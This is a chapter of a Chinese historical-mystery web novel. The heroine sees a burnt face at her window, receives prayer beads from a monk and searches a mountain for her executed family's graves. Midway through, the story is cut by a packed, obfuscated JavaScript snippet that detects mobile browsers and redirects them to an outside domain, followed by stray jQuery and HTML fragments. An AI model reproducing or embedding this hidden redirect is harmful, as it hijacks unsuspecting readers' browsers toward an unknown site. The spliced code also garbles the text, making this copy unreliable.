梧栖月 作品

21. 佛珠

北风呼呼清晰入耳,一道邪恶的目光如有实质般直击心脏。


沈卿尘猛然转头朝窗口看去,却瞧见一张焦黑的脸正透过窗缝死死盯着她,见她向自己看过来,竟也不躲,反咧着嘴露出诡异的笑。


“谁?”沈卿尘猛然起身,顾不得穿鞋变朝外追去。


拉开房门的瞬间,冷风灌入衣领,外面院落却空无一人,她忙朝外追去,那人却仿若从未出现过一般毫无踪迹。


睡在隔间的长夏被惊醒,随之跟了出来:“姑娘,发生何事了?”


望着空空荡荡的院落,方才那抹心悸犹未散去,她甚至无法确定自己究竟是梦中看到的那张脸还是现实。


“姑娘?”长夏见她脸色不好,又没穿鞋,就这么赤脚踩在湿漉漉的青石板上,心中又是疑惑又是惊讶。


沈卿尘转身回去屋里,同时说道:“方才,我好似瞧见一人趴在窗外向屋里窥视,但追出来却是毫无踪迹。”


她会武,轻功也不错,从下床到出屋不过转瞬间,若真是有人逃走,便是翻墙而出,她也断然不会看不见一点踪迹,可院子里寂静的像是从未有人出现过一般。


又好似……那人的确出现了,但又如烟似雾般凭空消散了。


长夏素来警觉,她平日里除了照顾姑娘的饮食起居外,便是护她安危,如今夜有人胆敢在窗口行窥视这等行径,她断然不会毫无察觉,但她又的确毫无所觉。


待将沈卿尘搀扶在床榻坐下,长夏找来一块帕子为她净脚,沈卿尘随手接了过来自己擦,眉眼间犹带着困惑。


“姑娘莫不是又噩梦了?”


“嗯。”沈卿尘点头,闭上眼睛回忆,“我听到有人叫我,而后便醒了,之后便是一阵被人盯着的心悸感,那张脸就贴在窗下,焦黑焦黑的,好似被烧过一般。”


闻言,长夏先是一愣,随即转头看向窗户,见窗户关着,并未打开,便轻笑道:“姑娘莫不是因为今日下午拼骨时验出那两具尸骨被烧过,由此日有所思夜有所梦?”


沈卿尘心中也不能确定那究竟是真是假,见窗户自内锁着,心中越发疑惑,只得点头道:“兴许便是梦吧。”


虽这般说着,心中依然忐忑,待将脚擦干净后,扯了被褥盖上。


长夏摸出汤婆子,见里头没了热气,又换上热水重放回去,帮她掖好被角叮嘱:“姑娘莫要再赤足下地了,听些话吧,若再这般任性妄为,奴婢当真是要告诉师父了。”


“是,记下了。”沈卿尘笑着道。


经长夏这般玩笑后,心中的惊悸又少了些许,却再无睡意,只闭着眼睛,脑中却频频响起那道低沉的声音。


现下无人知晓她沈知念的名讳,可那声音似真似假,如梦似幻,实在难辨,使她心头始终萦绕难言的不安。


外头忽然响起梆子声,已是五更天,沈卿尘辗转难以入睡,闭上眼便是那张焦黑焦黑的脸,虽当时惊慌之下并未瞧的仔细,但她总觉得有何不妥之处,细想又想不出个所以然来,心中愈发焦躁。


继续躺下去也无睡意,她干脆起床穿衣,没成想,长夏竟也没睡,见她起身也立刻跟着起来,竟是连衣裳都未除。


“我料想姑娘定然再睡不着,姑娘本就认床,没个两三日,怕是睡不安稳,今儿又做了噩梦,那便更无法入睡了,瞧,我又猜对了,姑娘可是要去寻国公爷与公子的坟茔?”


沈卿尘只笑着点头,她有时候觉得长夏话多,但也正因为她话多才使得自己心里没那般寂寥,也约是处的时间长了,她时不时的也能猜透她心中所想。


除却将她抚养长大的师父外,长夏便是她在这世上唯一的亲人了。


“奴婢……”


沈卿尘忽然转头看她,幽深的眸子里含了责备之意,长夏不解的停下话头,却听她道:“回长安这几日我未曾纠正你的话,你倒是全然忘了,我与你说过,我们并非主仆,而是姐妹,不许再自称奴婢。”


长夏讪笑两声,无奈道:“我这不也是习惯了,一时难以改过来,姑娘体谅。”


沈卿尘再次眼神警告后,便也未再提,长夏接着方才的话道:“天还未亮,这会儿林子里湿气最是重,你的咳疾尚未好全,去了怕是要加重,要不……我自个儿去寻?”


“你可有听到我咳嗽?”


长夏一想,随即摇头:“这倒没有。”


“昨日约是不慎喝了些冷风才有些咳,服了药就已有好转,今日再喝一日,便该无事了。”


知道劝不住,长夏也不再言语,两人一道出了院门,外面便是一条通往后山的窄巷,右转便可瞧见后门。


时辰尚早,天光不亮,山间的清晨浓雾弥漫,那扇通往后山的朱红小门只隐约透出一抹暗红的轮廓来,沈卿尘携了长夏一道近前,门环上生了铜锈,泛着青绿,雾气中显得愈发斑驳。


长夏拿起上头挂着的锁,皱眉道:“锁了,要不,翻墙?”


这墙头不足三丈,跳过去于她们而言并非难事。


说完,两人抬头看向头顶隐入雾气中的墙头,虽说冒险了些,但这会儿该不会有人过来。


沈卿尘刚要点头,忽听身后传来脚步声,转头便瞧见一人提着一盏灯笼慢悠悠自雾中出现,离的近了,才看到灯笼上书写“相国”二字,而提灯笼的人正是昨日清晨她见过的那名扫地僧人。


那僧人显然也没料到会在此时此地见到人,微感意外,但常年的吃斋念佛也令他淡然持重,单掌合十道:“阿弥陀佛,不知两位施主在此,惊吓到施主,是小僧的不是。”


沈卿尘双手合十还礼:“大师言重了,原是我们贪看山景,挡了大师的路。”


“路本无阻,何来谁挡谁?施主若是要去后山,贫僧这便开门。”


沈卿尘微微躬身,与长夏让至两侧,僧人上前开了锁,而后让开:“贫僧法号释空,与施主也算有缘,此佛珠便赠予施主,愿施主顺遂如意。”


说着,释空将原本绕在腕上的佛珠取下,双手递与沈卿尘,而后再次躬身行礼,转身离去。


待释空的背影消失于浓雾中许久,沈卿尘才自那怪异之感中回过身来,她垂首看握在掌心的佛珠,忽然觉着这串佛珠重如千斤。


“姑娘,释空大师方才是……什么意思?”


“你也瞧出来了?”


沈卿尘轻轻摩挲佛珠,此佛珠由檀木所制,触手光滑细腻,足以可见是释空大师常日里诵经念佛所用,如今竟是舍得给了她。


长夏有些不明所以:“莫不是释空大师看出了什么?”


沈卿尘再次摇头:“不知,昨日初次见他时,我便有种怪异熟悉之感,今日再见,感觉愈发强烈,可我从未见过他。”


释空大师眉清目秀,儒雅持重,与之相处有种莫名心安之感,若此前遇到过,她断然不能全然没有印象。


长夏也摇头道:“我也没有印象,约是缘分吧,兴许释空大师同样有此感觉,才将佛珠赠予姑娘。”


沈卿尘点点头,兀自盯着佛珠沉默不语。


“那……还去吗?”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663371|169580||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>闻言,沈卿尘转头看向已经打开的门锁,轻咬下唇,随即将佛珠缠绕在腕上:“去。”


此时天空已泛起鱼肚白,今日约是个好天气,天边一抹极淡的橙黄色甚是耀眼,就如此时沈卿尘的心情一般明朗。


她已不知多久没有如此开怀过了。


上山的路变得不那么难行了,二人一路倒真如观景一般走走停停,直到旭日初升,万丈光芒如熔金倾泻,泼向茫茫雪野。


原本冷硬的积雪被镀上一层柔软的暖色,晶莹的雪粒折射细碎的光点,正片大地仿若洒满碎金。


沈卿尘舒展手臂,深深吸口清晨凉爽却也刺骨的空气,嘴角扬起笑意。


“真好,我相信父亲的冤一定会被昭雪,就如这阳光普照大地,总有一日会驱散所有阴霾。”


衣袖滑落,皓白如雪的腕骨上,佛珠的佛头穗垂下,在风中轻轻摇曳。


看着姑娘的笑容,长夏亦是心情舒畅。


此时,她们正站在悬浮于山外侧的一块巨石上,身后是一片稍显平整的深林,长夏探头朝左右两侧张望,忽然瞧见深林右侧好似空出一片,竟是没了树林。


“姑娘,那里好似空出来一片,不若我们去瞧瞧?兴许便是老爷与公子的坟茔。”


她们在山上绕了一大圈,始终未能寻到,师父曾说,景隆帝下令,不许人为国公府一干人等收尸,只命人丢去荒野,或被鸟食,或被狼咬,是有人偷偷殓尸后埋藏于此地,自然知道的人甚少,所埋之地亦是隐蔽。


两人沿着深林外侧,绕了半圈才至那片空地,但也只是空地而已,并无任何坟茔。


“竟不是这里。”长夏难掩失望。


沈卿尘倒不失望,反而轻笑:“若真如此容易便被寻到,只怕早已被人掘了坟。”


长夏不懂,愈发疑惑:“国公爷只是被怀疑通敌叛国,又未造成大乱,世人当真便这般恨他?”


“彼时我们年纪尚小,知之甚少,当年外有草原十二部联合侵扰,内有以王瑞为代表的起义军意图谋反,而我们的圣上不过才登基几年,皇位尚未坐稳,人心浮动,虽然有定北王驻守边境,但若是在此时朝中出了内奸,联合外敌,攻下我朝数座城池,直指长安,圣上又岂会不震怒?”


长夏目瞪口呆,完全没想到竟是因为这样。


“可……即便是这样,也应该查清楚再定罪的,怎么能……”


虽这样说着,但她心中也十分清楚。


以当时的局势,人心不稳,百姓恐惧,必然是要推出个人来稳定局势,沈国公就偏偏成了这个替死鬼。


方才轻松的心情转瞬即逝,沈卿尘深吸口气不再继续此话题:“继续走走吧。”


两人沿着空地继续往前,又绕了半个多时辰,忽然瞧见山壁上出现一山洞,洞口狭窄仅容一人侧身通过,洞口前荆棘遍布。


长夏还在继续往前,沈卿尘却朝那洞口过去,也不知为何,她总觉得那洞内好似有什么吸引她一般。


已经走出一段的长夏忽感身后无人,转身才瞧见姑娘偏离了小路,朝山壁而去,她连忙赶过去:“这洞好生奇怪。”


“进去看看。”


“不行,若是有危险该怎么办?如这般的山洞,里头兴许有恶狼呢,姑娘怕不是忘了六子所言?”


来时的路上,六子曾说过这座山名为荔山,常有野狼、老虎等出没,偶尔还听周围山民说有黑熊,足有三丈高,吓人的很。


沈卿尘微微弯腰盯着地面:“地上有脚印,有人来过。”